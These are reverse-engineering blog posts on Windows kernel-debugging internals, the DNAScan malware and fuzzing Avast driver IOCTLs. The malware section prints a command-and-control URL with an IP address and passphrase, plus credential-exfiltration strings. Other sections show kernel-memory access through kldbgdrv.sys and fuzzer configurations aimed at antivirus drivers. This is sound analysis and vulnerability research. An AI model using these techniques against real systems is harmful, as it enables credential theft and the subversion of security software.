Reverse Engineering

  1. [WinInternals] Reverse Engineering of kdbgctrl - How are builded Kernel Triage Dumps

    Hi,

    In this little blog post I'm going to reverse kdbgctrl.exe an handy tool delivered with Windows Debugging Tools kit (windbg package). This tool has the handy functionality to allow Kernel Triage Dumps building, also from a non /DEBUG bootted machine.

    As written before, from nynaeve, Triage Dump writing make able the kernel to create small dump files which contains the basical and usual informations of a Dump, like processes with associated threads and relative stacks.

    There is not many documentation about the usage of kdbgctrl, we have only a basical:
    kdbgctrl -td pid file

    Let's now see how internally works kdbgctrl.exe; why this?..curiosity and the potentiality to know which functions are used and became able to rewrite it, and also (as asked by some people) to show a subset of considerations that make you able to fastly and effectively reverse the functionality of an application.

    What we have is an application that takes two arguments, one of them is a filename, so after disassembling it we can immediately search for File Management Operations, like CreateFile and WriteFile, at this point we can trace back to the origins, locating the requestor and consecutively identify the functions that provide data dumped into file.

    Code:
    .text:0100340F loc_100340F:                            ; CODE XREF: sub_1003310+BF j
    .text:0100340F                 push    0               ; hTemplateFile
    .text:01003411                 push    80h             ; dwFlagsAndAttributes
    .text:01003416                 push    2               ; dwCreationDisposition
    .text:01003418                 push    0               ; lpSecurityAttributes
    .text:0100341A                 push    0               ; dwShareMode
    .text:0100341C                 push    40000000h       ; dwDesiredAccess
    .text:01003421                 mov     ecx, [ebp+lpFileName]
    .text:01003424                 push    ecx             ; lpFileName
    .text:01003425                 call    ds:CreateFileA
    the first line denotes a Cross Reference, so let's follow it:

    Code:
    .text:010033AE loc_10033AE:                            ; CODE XREF: sub_1003310+84 j
    .text:010033AE                 lea     eax, [ebp+nNumberOfBytesToWrite]
    .text:010033B1                 push    eax
    .text:010033B2                 mov     ecx, [ebp+dwSize]
    .text:010033B5                 push    ecx
    .text:010033B6                 mov     edx, [ebp+lpAddress]
    .text:010033B9                 push    edx
    .text:010033BA                 push    24h
    .text:010033BC                 lea     eax, [ebp+var_44]
    .text:010033BF                 push    eax
    .text:010033C0                 push    1Dh
    .text:010033C2                 call    ds:NtSystemDebugControl
    This is the heart of kdbgctrl algorithm, the Triage Dump is obtained by calling NtSystemDebugControl, we have now to uncover its parameters to be able to reproduce the code.
    Code:
    NtSystemDebugControl(
    IN SYSDBG_COMMAND Command,
    IN PVOID InputBuffer OPTIONAL,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer OPTIONAL,
    IN ULONG OutputBufferLength,
    OUT PULONG ReturnLength OPTIONAL );
    In our case SYSDBG_COMMAND has the value 1D, with a little research we can discover that this value belongs to SysDbgGetTriageDump, and immediately after the involved struct

    Code:
    typedef struct _SYSDBG_TRIAGE_DUMP
    {
        ULONG Flags;
        ULONG BugCheckCode;
        ULONG_PTR BugCheckParam1;
        ULONG_PTR BugCheckParam2;
        ULONG_PTR BugCheckParam3;
        ULONG_PTR BugCheckParam4;
        ULONG ProcessHandles;
        ULONG ThreadHandles;
        PHANDLE Handles;
    } SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP;
    Immediately before NtSystemDebugControl we meet:

    Code:
    .text:0100336C                 mov     [ebp+var_40], 69696969h
    .text:01003373                 mov     [ebp+dwSize], 400000h
    .text:0100337A                 push    4               ; flProtect
    .text:0100337C                 push    1000h           ; flAllocationType
    .text:01003381                 mov     edx, [ebp+dwSize]
    .text:01003384                 push    edx             ; dwSize
    .text:01003385                 push    0               ; lpAddress
    .text:01003387                 call    ds:VirtualAlloc
    69696969 belongs to the tipical BugCheck of Triage Dumps. A bit upper we have

    Code:
    .text:0100335D                 push    ecx
    .text:0100335E                 call    sub_1002EB0
    .text:01003363                 test    eax, eax
    .text:01003365                 jz      short loc_100336C ;Prosecute with Dumping Process
    .text:01003367                 jmp     loc_100357C    ;Jump Out
    Let's see what happens inside call sub_1002EB0

    Code:
     ..
    .text:01002EE3                 push    offset aDbgeng_dll ; "dbgeng.dll"
    .text:01002EE8                 call    ds:LoadLibraryA
    ..
    .text:01002F45                 push    offset aDebugcreate ; "DebugCreate"
    .text:01002F4A                 mov     edx, [ebp+arg_8]
    .text:01002F4D                 mov     eax, [edx]
    .text:01002F4F                 push    eax             ; hModule
    .text:01002F50                 call    ds:GetProcAddress
    The DebugCreate function creates a new client object and returns an interface pointer to it, the parameters passed to DebugCreate are the same as those passed to IUnknown::QueryInterface, and they are treated the same way.

    Code:
    .text:0100307A                 call    sub_1004D90
    .text:0100307F                 push    eax
    .text:01003080                 push    offset aAttachprocessF ; "AttachProcess failed, %s\n"
    .text:01003085                 call    ds:printf
    kdbgctrl attempts to a Debug Attach by using the pid inserted by user.

    Code:
    .text:010030BA                 call    sub_1004D90
    .text:010030BF                 push    eax
    .text:010030C0                 push    offset aWaitforeventFa ; "WaitForEvent failed, %s\n"
    .text:010030C5                 call    ds:printf
    and waits for events.

    Code:
    .text:010030FA                 call    sub_1004D90
    .text:010030FF                 push    eax
    .text:01003100                 push    offset aGetnumberthrea ; "GetNumberThreads failed, %s\n"
    .text:01003105                 call    ds:printf
    Retrieve the number of Threads, this value is necessary to define the limits of a cycle that will perform a per thread scan.

    Code:
    .text:010031AB                 call    sub_1004D90
    .text:010031B0                 push    eax
    .text:010031B1                 push    offset aGetthreadidsby ; "GetThreadIdsByIndex failed, %s\n"
    .text:010031B6                 call    ds:printf
    .text:010031BC                 add     esp, 8
    .text:010031BF                 jmp     loc_1003252
    GetThreadIdsByIndex belongs (Like GetNumberThreads) to the interface IDebugSystemObjects, the GetThreadIdsByIndex method returns the engine and system thread IDs for the specified threads in the current process.
    Code:
    .text:010031E8                 call    sub_1004D90
    .text:010031ED                 push    eax
    .text:010031EE                 push    offset aSetcurrentthre ; "SetCurrentThreadId failed, %s\n"
    .text:010031F3                 call    ds:printf
    .text:010031F9                 add     esp, 8
    .text:010031FC                 jmp     short loc_1003252
    The currently indexed thread, became the Current Thread, at this point we can know the thread handle, by calling GetCurrentThreadHandle.

    This enumeration routine provides all informations that will be stored into the Triage Dump.

    Should be now clear how is builded a Triage Dump, just an hint if you want to uncover other kdbgctrl functionalities, as you have seen the core function is NtSystemDebugControl, so easly list all xRefs of this function.

    See you to the next post..
    Giuseppe 'Evilcry' Bonfa
  2. Debugging the Debugger - Reversing kldbgdrv.sys and Potential Usages

    After various articles on malware analysis I decided to talk about a little different topic, due to the fact that I'm involved into Kernel Mode Coding the Windows Internals Research become a truly important aspect of my Research. As the title suggests, this time I'm going to Study and Reverse a particular component used by the Windows Debugging System, more precisely a Device Driver involved into Local Kernel Debugging.

    Not many people is aware that is possible to perform Local Kernel Debugging, one of the most used Debugging Configurations is the Remote Debugging. Local Kernel Debugging can offer many important vantages, like valuable informations on the Status of the Kernel and Inspect Kmode Components. LKD (Local Kernel Debugging) can be acheived by booting in Debug Mode, both kd and windbg fully supports LKD.

    The essential question now is, How the Debugging Engine, let's consider for example Windbg, is able to obtain informations about the kernel by running from usermode?

    The reply to this question not only will uncover the problem itself but also will open new interesting questions and possibilities, such as:

    #1 - "It's possible to develop an application that can use the same
    technology ?"

    #2 - "How to access the involved components and what are parameter to
    have access?"

    To begin the study of this problem, we have in first instance to reproduce the environement necessary to start a Local Debugging Session.

    I've used for these tests Windows 7 32-Bits Ultimate Edition and Windbg.

    First step is to enable debug mode by running:

    bcdedit -debug on then reboot.

    At this point we have literally to debug our debugger to be able to reveal the mechanism and component involved in communication between the Debug Engine and Kernel.

    In the past Windows Editions, the function used was NtSystemDebugControl, but from Windows Vista to Higher Versions this function is not immediately available.

    To trace windbg activities I've used a great tool for professional API Tracing, called Blade API Monitor.

    The hypothesis was, if windbg runs at usermode and accesses a kernel component it's obvious that will be used a Device Driver, by assuming true this statement, every application that deals directly with Device Drivers will use:

    * CreateFile -> For Driver Opening
    * ReadFile / WriteFile -> Device Driver Communication
    * DeviceIoControl -> Data exchange between Driver and umode application
    * NtSystemDebugControl


    After setting the proper filter for these functions, let's run a Local Kernel Debugging Session and watch the results from API Monitor.

    When debugger is loaded, we can launch some command, like:

    !drvobj
    !irpfind
    !isr

    From API Log emerges an important result, we have two threads:

    #- First Thread

    DeviceIoControl(...)
    DeviceIoControl(...)
    CreateFileW(wchar_t* lpFileName = C:\Windows\Fonts\staticcache.dat,...)

    #- Second Thread

    CreateFileW( wchar_t* lpFileName = C:\Windows\system32\kldbgdrv.sys )
    return value -> void* return = 0x00000128

    WriteFile(void* hFile = 0x00000128, .., unsigned long nNumberOfBytesToWrite = 0x000031F0 )

    CreateFileW(wchar_t* lpFileName = \\.\kldbgdrv)
    return value -> void* return = 0x00000170

    DeviceIoControl(void* hDevice = 0x00000170)
    IOCTL -> unsigned long dwIoControlCode = 0x0022C007
    As you can see, from the second thread we obtain a valuable amount of informations.

    WinDbg creates a driver called kldbgdrv.sys placed in %\system32\ this file is 0x31F0 long.

    Successively this driver is openened and windbg starts to send IOCTL to this driver.

    The IO Control Code used is 0x0022C007.

    When debugging session finishes, kldbgdrv.sys it's deleted.

    To reverse this driver we have obviously to dump it, so the first operation is to locate where is placed and successively carve out this.

    The most probable location where can be located are the resources of windbg or kd executables, so let's explore their PE.

    Between resources of windbg.exe we can see that the last one called "17476" which contains another subdir called "30583" by opening also this last directory finally appears our wldbgdrv.sys (can be easly detected by watching between strings)

    From the starting address of this resource if we add the len of bytes ( nNumberOfBytesToWrite = 0x000031F0) we can easly into a new file kldbgdrv.sys

    Now let's reverse this driver.

    INIT:00010D1F push offset aKdsystemdebugc ; "KdSystemDebugControl"
    INIT:00010D24 lea eax, [ebp+DestinationString]
    INIT:00010D27 push eax ; DestinationString
    INIT:00010D28 call ds:RtlInitUnicodeString
    INIT:00010D2E lea ecx, [ebp+DestinationString]
    INIT:00010D31 push ecx ; SystemRoutineName
    INIT:00010D32 call ds:MmGetSystemRoutineAddress
    INIT:00010D38 mov [ebp+var_1C], eax
    INIT:00010D3B cmp [ebp+var_1C], 0
    INIT:00010D3F jnz short loc_10D4B
    INIT:00010D41 mov eax, STATUS_PROCEDURE_NOT_FOUND
    INIT:00010D46 jmp loc_10DF5

    this is a really interesting piece of code, here the driver attempts to obtain the Routine Address of the function KdSystemDebugControl()

    INIT:00010D4B mov edx, [ebp+DriverObject]
    INIT:00010D4E mov dword ptr [edx+34h], offset sub_10A10 ;DriverUnload
    INIT:00010D55 mov eax, [ebp+DriverObject]
    INIT:00010D58 mov dword ptr [eax+38h], offset sub_10A50 ;DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_10A50
    INIT:00010D5F mov ecx, [ebp+DriverObject]
    INIT:00010D62 mov dword ptr [ecx+40h], offset sub_10A50 ;DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_10A50
    INIT:00010D69 mov edx, [ebp+DriverObject]
    INIT:00010D6C mov dword ptr [edx+70h], offset sub_10A80 ;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_10A80
    INIT:00010D73 push offset aDeviceKldbgdrv ; "\\Device\\kldbgdrv"
    INIT:00010D78 lea eax, [ebp+DeviceName]
    INIT:00010D7B push eax ; DestinationString
    INIT:00010D7C call ds:RtlInitUnicodeString
    ..
    INIT:00010D96 call ds:IoCreateDevice

    Here the device it's created \\Device\\kldbgdrv and

    There are also four MajorFunctions associations:

    DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_10A10;
    DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_10A50; // IofCompleteRequest(Irp, 0)
    DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_10A50; // IofCompleteRequest(Irp, 0)
    DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_10A80; // Suddenly Reversed
    Let's check the latest Dispatch Routine:

    PAGE:00010AEE push edx
    PAGE:00010AEF push eax ; PrivilegeValue
    PAGE:00010AF0 call ds:SeSinglePrivilegeCheck
    PAGE:00010AF6 movzx ecx, al
    PAGE:00010AF9 test ecx, ecx
    PAGE:00010AFB jnz short loc_10B09
    PAGE:00010AFD mov [ebp+var_3C], STATUS_ACCESS_DENIED
    PAGE:00010B04 jmp loc_10C5B
    PAGE:00010B09 mov [ebp+var_4], 0
    PAGE:00010B10 mov edx, [ebp+var_30]
    PAGE:00010B13 mov [ebp+var_48], edx
    PAGE:00010B16 cmp [ebp+var_48], 22C007h ; IOCTL = 22C007h
    PAGE:00010B1D jz short loc_10B24
    PAGE:00010B1F jmp loc_10C2B


    When the IOCTL = 22C007h it's sent the first operation is to check if the action has the proper privileges "SeSinglePrivilegeCheck", successively this dispatch routine validates and sanitizes parameters sent with the IOCTL, by using MmUserProbeAddress and ProbeForWrite.

    Finally we can say that kldbgdrv.sys works as wrapper for KdSystemDebugControl.

    This function belongs to NtSystemDebugControl but can be accessed only at kernel mode.

    Here it's prototipe:

    NTSTATUS
    NTAPI
    KdSystemDebugControl(
    SYSDBG_COMMAND Command,
    PVOID InputBuffer,
    ULONG InputBufferLength,
    PVOID OutputBuffer,
    ULONG OutputBufferLength,
    PULONG ReturnLength,
    KPROCESSOR_MODE PreviousMode
    );
    _SYSDBG_COMMAND it's an enum, let's suppose we want SysDbgReadVirtual we have the corresponding struct:

    typedef struct _SYSDBG_VIRTUAL
    {
    PVOID Address;
    PVOID Buffer;
    ULONG Request;
    } SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;
    At this point we have all elements to use with success kldbgdrv.sys, that means the possibility to have access to the kernel ...
  3. Advanced Signature Writing via FuzzyHashing

    Hi there,

    In this period I'm heavy working on Signature Generation for big malware families, this mean that there is a large amount of binaries to be checked for Static Patterns recurrences, you should understand that this work can't be done by hand on families of 400+k number of samples, and hashing would not help, this because Hash Algorithms respects the Avalanche Effect via its most famous generalization the SAC ( Strict Avalanche Criterion ), this mean that, this property it is satisfied if, whenever a single input bit is complemented, each of the output bits changes with a probability of one half.

    In other words a minimum little change will deeply change the hash result and we can't come back to similarities, so we need a technology that does not respect the SAC, also in this case the wonderful cryptography help us

    We have the CTPH that mean Context Triggered Piecewise Hashes, called also Fuzzy Hashes, this will help us to match inputs that have homologies like sequences of identical bytes in the same order.

    Here an interesting paper about CTPH Identifying almost identical files using context triggered piecewise hashing

    http://dfrws.org/2006/proceedings/12-Kornblum.pdf

    and here an open source implementation of fuzzyhashing called DeepToad

    http://code.google.com/p/deeptoad/

    Regards,
    Giuseppe 'Evilcry' Bonfa
  4. DNAScan Malicious Network Activity Reverse Engineering

    Hi,

    This is a paper splitted into two episodes, the first two can be readed here

    First
    http://evilcodecave.blogspot.com/2009/11/dnascan-malware-analysis-from-browser.html
    Second
    http://evilcodecave.blogspot.com/2009/11/dnascan-malware-analysis-from-browser_15.html

    Here the Third Part.

    In this blog post we will investigate deeply the effective functionalities of DNAScan,
    that can be seen as a set of Threads that accomplish different networking functionalities like:

    • * Server Functionalities
    • * Client Functionalities
    • * Malicious File Exchange
    • * Generic Backdoor




    Let's start from the beginning of network functionalities setup, initially from the main thread is called WSAStartup used to initiate the Winsock DLL, successively is called a classical socket() and immediately after WSAIoctl


    Code:
    0040A0EE PUSH 2600
    0040A0F3 PUSH EAX
    0040A0F4 PUSH EBX
    0040A0F5 PUSH EBX
    0040A0F6 PUSH 4004747F
    0040A0FB PUSH ESI
    0040A0FC CALL DWORD PTR DS:[41526C];WSAIoctl

    The WSAIoctl function controls the mode of a socket, works like DeviceIoControl so we have a suite of IO Control Codes, in our case the Control Code is 4004747F that corresponds to SIO_GET_INTERFACE_LIST

    Returns a list of configured IP interfaces and their parameters as an array of INTERFACE_INFO structures. After setting socket options and binding we have another WSAIoctl this time with code 98000001 in this way the socket normal working parameters are modified, indeed 98000001 corresponds to SIO_RVALL that enables a socket to receive all IP packets on the network, to use this application need to be in RAW mode using IP protocol and bound to a specific local adapter. Finished this the first thread is created:

    Code:
    0040A089 PUSH EAX
    0040A08A PUSH ESI
    0040A08B PUSH EDI
    0040A08C PUSH OFFSET srcdll.00409FCD; Look here to know what thread does
    0040A091 PUSH ESI
    0040A092 PUSH ESI
    0040A093 CALL DWORD PTR DS:[415130]

    after opening this thread the first socket is closed. Now the next important function called is SHGetFolderPath witch sets as folders \user\cookies, finally execution jumps to a secondary thread that contains a recvfrom

    Code:
    00409F89 PUSH EDI
    00409F8A PUSH EDI
    00409F8B PUSH EDI
    00409F8C PUSH 4000
    00409F91 PUSH ESI
    00409F92 PUSH DWORD PTR SS:[EBP+8]
    00409F95 CALL DWORD PTR DS:[415268];recvfrom

    by watching the buffer out (second parameter) we can see what arrives to DNAScan

    001644B8 E..a......=
    001644D8 .... EFFGEJEMEDFCFJCNDFDGE
    001644F8 CDFDIEEDIAA. FHEPFCELEHFCEPFFFAC
    00164518 ACACACACACABN.SMB%.............
    00164538 ............................
    00164558 ......V......\MAILSLOT\BRO
    00164578 WSE...........................

    this recvfrom is repeated until certain conditions that depends from watch application receives,
    under certain conditions sento from server reacts. After setting this is builded another thread that makes use of a classical server architecture

    • * Socket
    • * Listen
    • * Accept

    Next networking operation is the Pipe building

    Code:
    00407DCF PUSH 0
    00407DD1 PUSH 0
    00407DD3 PUSH 400
    00407DD8 PUSH 400
    00407DDD PUSH 0FF
    00407DE2 PUSH 0
    00407DE4 PUSH 3
    00407DE6 PUSH OFFSET srcdll.004025B4; ASCII "\\.\pipe\ie_down_pipe"
    00407DEB CALL; Jump to kernel32.CreateNamedPipeA
    00407DF0 CMP EAX,-1
    00407DF3 JNE SHORT 00407DF7
    00407DF5 JMP SHORT 00407E58
    00407DF7 MOV DWORD PTR SS:[EBP-4],EAX
    00407DFA MOV DWORD PTR SS:[EBP-8],0
    00407E01 PUSH 0
    00407E03 PUSH DWORD PTR SS:[EBP-4]
    00407E06 CALL; Jump to kernel32.ConnectNamedPipe
    This creates a named pipe \\.\pipe\ie_down_pipe and successively Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.

    At this point is assembled the following string

    00401620 http://%s%s?user_id=%.4u&version_id=%s&passphrase=%s&socks=%lu&v
    00401660 ersion=%lu&crc=%.8x.URL: sniffer_ftp_%s..ftp_server=%s&ftp_login
    004016A0 =%s&ftp_pass=%s&version=%lu.URL: sniffer_pop3_%s..pop3_server=%s
    004016E0 &pop3_login=%s&ftp_pass=%s.URL: sniffer_imap_%s..imap_server=%s
    00401720 &imap_login=%s&imap_pass=%s.URL: sniffer_icq_%s..icq_user=%s&icq
    00401760 _pass=%s.SharedAccess.wscsvc.=.GET_COOK.VER.EXE.DL.DL_EXE.DL_EXE
    004017A0 _ST.REBOOT.\%lu.exe./upd %lu
    as you can see there are a couple of interesting strings like

    • * ftp_pass=%s
    • * imap_pass=%s
    • * sniffer_pop3_%s
    • * sniffer_icq_%s


    Code:
    0040587D PUSH EAX
    0040587E PUSH DWORD PTR SS:[EBP-4];take a look here
    00405881 PUSH 0
    00405883 CALL; Jump to wininet.FindFirstUrlCacheEntryA

    this api enumerates the Internet cache, to see what comes out just watch the second parameter

    Code:
    0040588F MOV EAX,DWORD PTR SS:[EBP-4]
    00405892 MOV ECX,DWORD PTR DS:[EAX+4]
    00405895 PUSH ECX
    00405896 PUSH DWORD PTR SS:[EBP+8]
    00405899 PUSH ECX
    0040589A CALL; Jump to shlwapi.StrStrIA
    0040589F POP ECX
    004058A0 OR EAX,EAX
    004058A2 JE SHORT 004058AA
    004058A4 PUSH ECX
    004058A5 CALL; Jump to wininet.DeleteUrlCacheEntry
    004058AA MOV DWORD PTR SS:[EBP-8],1000
    004058B1 LEA EAX,[EBP-8]
    004058B4 PUSH EAX
    004058B5 PUSH DWORD PTR SS:[EBP-4]
    004058B8 PUSH DWORD PTR SS:[EBP-0C]
    004058BB CALL; Jump to wininet.FindNextUrlCacheEntryA
    004058C0 JMP SHORT 0040588B
    004058C2 PUSH DWORD PTR SS:[EBP-0C]
    004058C5 CALL; Jump to wininet.FindCloseUrlCache
    this piece of code scans Url Cache to find the previously seen IP address and if discovered, removes it with DeleteUrlCacheEntry.

    Code:
    00405937 PUSH EAX
    00405938 PUSH OFFSET srcdll.0040A872; ASCII "http://91.213.94.130/cgi-bin/options.cgi?user_id=373125111&version_id=17
    &passphrase=fkjvhsdvlksdhvlsd&socks=9180&version=132&crc=00000000"
    0040593D PUSH 0
    0040593F CALL; Jump to urlmon.URLOpenBlockingStreamA
    Creates a blocking type stream object from a URL and downloads the data from the Internet. When the data is downloaded the client application or control can read it by using the IStream::Read method.

    By analysing the URL we can extract the following informations:

    Code:
        * user_id=373125111
        * version_id=17
        * passphrase=fkjvhsdvlksdhvlsd
        * socks=9180
        * version=132
        * crc=00000000
    When you step URLOpenBlockingStreamA be aware that this function presents thread and fiber functionalities to speed up and make an easier analysis approach just detach for one step the New Thread Break Event. If incidentally you have this Event enabled, surf between threads with Execute till Return and Run Actual Thread.

    _Next Thread_

    Here the malicious application scans into C:\Documents and Settings\evilcry\Cookies\ cookie by cookie

    Code:
    00408305 PUSH DWORD PTR SS:[EBP+8]; ASCII "C:\Documents and Settings\evilcry\Cookies\"
    00408308 PUSH EDI
    00408309 CALL; Jump to kernel32.lstrcpyA
    0040830E MOV EDX,DWORD PTR SS:[EBP-8]
    00408311 LEA EDX,[EDX+2C]
    00408314 PUSH EDX
    00408315 PUSH EDI
    00408316 CALL; Jump to kernel32.lstrcatA
    0040831B PUSH EDI
    0040831C CALL; Jump to kernel32.DeleteFileA
    00408321 PUSH DWORD PTR SS:[EBP-8]
    00408324 PUSH DWORD PTR SS:[EBP-4]
    00408327 CALL; Jump to kernel32.FindNextFileA
    0040832C TEST EAX,EAX
    0040832E JNE SHORT 004082E5
    00408330 PUSH DWORD PTR SS:[EBP-4]
    00408333 CALL; Jump to kernel32.FindClose
    Successively by using ad usual CreateToolhelp32Snapshot and Process32First/Process32Next and WriteProcessMemory DNAScan injects some pieces of code in various system processes. This is essentially not useful for our analysis scopes actually.


    Code:
    0040795B 55 PUSH EBP
    0040795C 8BEC MOV EBP,ESP
    0040795E 83C4 F8 ADD ESP,-8
    00407961 53 PUSH EBX
    00407962 E8 57F6FFFF CALL 00406FBE
    Inside the call

    Code:
    00406FC9 PUSH OFFSET srcdll.0040B87E
    00406FCE PUSH 1
    00406FD0 PUSH 0
    00406FD2 CALL; Jump to OLE32.CreateStreamOnHGlobal
    The CreateStreamOnHGlobalfunction creates a stream object that uses an HGLOBAL memory handle to store the stream contents. This object is the OLE-provided implementation of the IStream interface.


    Code:
    00406FE1 PUSH OFFSET srcdll.0040B87A
    00406FE6 PUSH srcdll.00401B50; ASCII "pstorec.dll"
    00406FEB CALL 00406F71; Loads from pstorec.dll PStoreCreateInstance
    00406FF0 TEST EAX,EAX
    00406FF2 JE SHORT 00407033
    00406FF4 PUSH OFFSET srcdll.0040B882
    00406FF9 PUSH srcdll.00401B73; ASCII "crypt32.dll"
    CALL 00406F71; Loads from crypt32.dll CryptUnprotectData
    
    00407009 PUSH EAX
    0040700A PUSH EAX
    0040700B PUSH EAX
    0040700C LEA EDX,[40B876]
    00407012 PUSH EDX
    00407013 CALL DWORD PTR DS:[40B87A];PStoreCreateInstance
    Protected Storage (Pstore) is available for use in Windows ...
    Categories
    Reverse Engineering
  5. Device Drivers Vulnerability Research, Avast a real case

    In the past days I worked intensively on Antivirusís Device Drivers bugs, at the actual state of art the major part of well known AVs suffer of basical and more hidden bugs. The totality of AVs that Iíve checked presents defects that could be maliciously used to takeover an Antivirus Infrastructure and in some case the entire Operating System with attacks like DoS and/or Remote/Local Privilege Escalation.

    I want to make a precisation here, exists an important difference between Bug and Vulnerability, simply bugs does not affects the integrity of a system and does not constitute a true danger. Vulnerabilities constitutes an effective risk for systems integrity, included informations contained inside it. When we are dealing with applications specifically devoted to security, every bug could be considered a vulnerability, because an attacker could block/kill overcome checks performed by the application itself and propagate in system and produce damages. Just think to a basical crash that could affect an Antivirus could be implemented into a malicious application that checks the presence of AVs and induces the bug.

    In this little post we are going to see some defects of last device drivers used by Avast, Iím precisely talking of

    Build Number: 4.8.1351.0

    Avast loads the following drivers:

    • Aasvmker4.sys
    • aswMon2.sys
    • aswRdr.sys
    • aswSP.sys



    Avast loads the following Drivers could be tested by fuzzing IOCTLs, for this task could be used IOCTL Fuzzer and Kartoffel. Letís disassemble the first driver, Aavmker4.sys that from DeviceIoControl hook appears to be heavy used. This is the DriverEntry()drivers

    Code:
    00010748 mov eax, [ebp+DriverObject]
    0001074B push offset NotifyRoutine ; NotifyRoutine
    00010750 mov dword ptr [eax+70h], offset sub_1098C ; DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_1098C;
    00010757 call PsSetCreateProcessNotifyRoutine
    sub_1098C contains the switch statement to handle various IOCTL notifications, essentially IOCTL check is structured in form of nested If and Switches.

    Code:
    001098C ; int __stdcall sub_1098C(int, PIRP Irp)
    000109C4 mov ecx, 0B2D6002Ch
    000109C9 cmp eax, ecx
    000109CB ja loc_10D12
    000109D1 jz loc_10CE9
    Checks if IOCTL is less or equal to 0◊0B2D6002C, if condition is true checks if IOCTL is exactly 0◊0B2D6002C a certain task is performed by the device driver and finally ends with a classical
    epilogue:

    Code:
    IofCompleteRequest(X, 0);
    return value;
    By monitoring Aavmker4.sys activity, with a DeviceIoControl hook emerges that the most used IOCTLs are:

    • 0xB2D60030
    • 0xB2D60034



    Now we have two possibilities the first is to fuzz these IOCTLs and check crash dump if happens and after check code for more details, the second possibility is to invert the check order.

    This the xml configuration to test Aavmker4.sys

    Code:
    <allow>
    <drivers>
    <entry>Aavmker4.sys</entry>
    </drivers>
    <devices>
    <entry>\Device\AavmKer4</entry>
    </devices>
    
    <ioctls>
    <entry>0xb2d60030</entry>
    <entry>0xb2d60034</entry>
    </ioctls>
    <processes>
    <entry>ashServ.exe</entry>
    </processes>
    </allow>
    launch fuzzer and Avast Scan, as you can see Driver resists to Fuzzing attempts, its time to see code referred to 0xB2D60030 and 0xB2D60034.

    0xB2D60030

    Code:
    00010D25 cmp eax, 0B2D60030h
    00010D2A jz short loc_10DA8
    00010D2C cmp eax, 0B2D60034h
    00010D31 jz short loc_10D5B
    00010DC5 mov edi, [ebx+0Ch]
    00010DC8 cmp esi, 878h
    00010DCE jz short loc_10DDA ;Check buffer size
    00010DD0 push offset aIoctl_aavm_sta ; ď******* IOCTL_AAVM_START_REQUEST_AND_SEĒÖ
    00010DD5 jmp loc_10ABA ;Jump to Io Completion
    If buffer size differs from 878h Dbg Prints an error message, else supplied buffer is correctly sanitized via MmUserProbeAddress, MmIsAddressValid. We can say that this IOCTL is correctly handled.

    0xB2D60034:

    Code:
    00010D5B cmp esi, 8
    00010D5E jnz loc_10AC0 ;If differs from 8 return STATUS_INVALID_PARAMETER
    00010D64 call PsGetCurrentProcessId
    Now letís test aswSP.sys. In Device Driver vulnerabilty research itís fundamental to have a complete log of all activities of a driver, this can be obtained by correctly planning a battery of test unit. Each test should correspond to a primitive logic operation performed by an application that makes use of driver. I usually build several mini logs for each activity and finally a complete log. Here a little list of monitoring primitives:


    • On Load
    • On apparent Idle
    • On Working
    • On Shutdown
    • Various, like On Surprise Stop



    This will give us a complete report of all activities and involved IOCTL. In the specific case of aswMon2.sys we can isolate the following:


    • * 0xb2c80018
    • * 0xb2c80014
    • * 0xb2c80020
    • * 0xB2c800C0
    • * 0xB2c800C4
    • * 0xB2c800C8


    From IOCTL Logger we can see that 0xB2c800C0 is heavly used, time to locate Ioctl Dispatcher:

    Code:
    0001178B and dword ptr [ebx+34h], 0
    0001178F mov dword ptr [ebx+6Ch], offset sub_11FB6
    00011796 mov dword ptr [ebx+28h], offset off_18988
    C like:
    Code:
    v2->DriverUnload = 0;
    v2->MajorFunction[13] = (PDRIVER_DISPATCH)sub_11FB6;
    v2->FastIoDispatch = (PFAST_IO_DISPATCH)&unk_18988;
    with a bit of research we land to sub_10B82 that contains the switch for Ioctls.

    Code:
    00010BBD mov eax, 0B2C80018h
    00010BC2 cmp ecx, eax
    00010BC4 push edi
    00010BC5 ja loc_11066
    00010BCB jz loc_10F70
    00010BD1 cmp ecx, 0B2C80008h
    00010BD7 jz short loc_10C3C
    00010BD9 cmp ecx, 0B2C8000Ch
    00010BDF jz short loc_10C16
    00010BE1 cmp ecx, 0B2C80010h
    00010BE7 jz short loc_10BFF
    00010BE9 cmp ecx, 0B2C80014h
    00010BEF jnz loc_111AC
    00010BF5 call sub_108BC
    From logs emerged that the most frequently used is 0B2C8000C so itís obvious that we will study this for first:

    0xB2C8000C:

    Code:
    00010C16 cmp [ebp+arg_C], 1448h
    00010C1D jnz loc_111AC ;check len
    00010C23 mov esi, [ebp+SourceString]
    00010C26 mov ecx, 512h
    00010C2B mov edi, offset dword_18A58
    00010C30 rep movsd
    00010C32 call sub_108F0
    00010C37 jmp loc_112C1 ;go out
    In this case user supplied input is correctly sanitized, so 0xB2C8000C can be excluded from fuzz testing. From the log On Shutdown emerged the massive presence of 0xB2c80018, so letís fuzz it. Here the configuration for IOCTL Fuzzer:

    Code:
    <?xml version=Ē1.0″ encoding=Ēwindows-1251″?>
    <cfg>
    <log_file>C:\ioctls.txt</log_file>
    <hex_dump>true</hex_dump>
    <log_requests>true</log_requests>
    <debug_log_requests>true</debug_log_requests>
    <fuze_requests>true</fuze_requests>
    <fuze_size>true</fuze_size>
    <allow>
    <drivers>
    <entry>aswMon2.SYS</entry>
    </drivers>
    <devices>
    <entry>\Device\aswMon</entry>
    </devices>
    <ioctls>
    <entry>0xb2c80018</entry>
    </ioctls>
    <processes>
    <entry>ashServ.exe</entry>
    </processes>
    </allow>
    <deny>
    <drivers>
    
    <entry>aswSP.SYS</entry>
    <entry>Aavmker4.SYS</entry>
    <entry>aswTDI.SYS</entry>
    </drivers>
    <ioctls>
    
    <entry>0xb2c8000c</entry>
    <entry>0xb2c80014</entry>
    <entry>0xb2c80020</entry>
    </ioctls>
    </deny>
    </cfg>
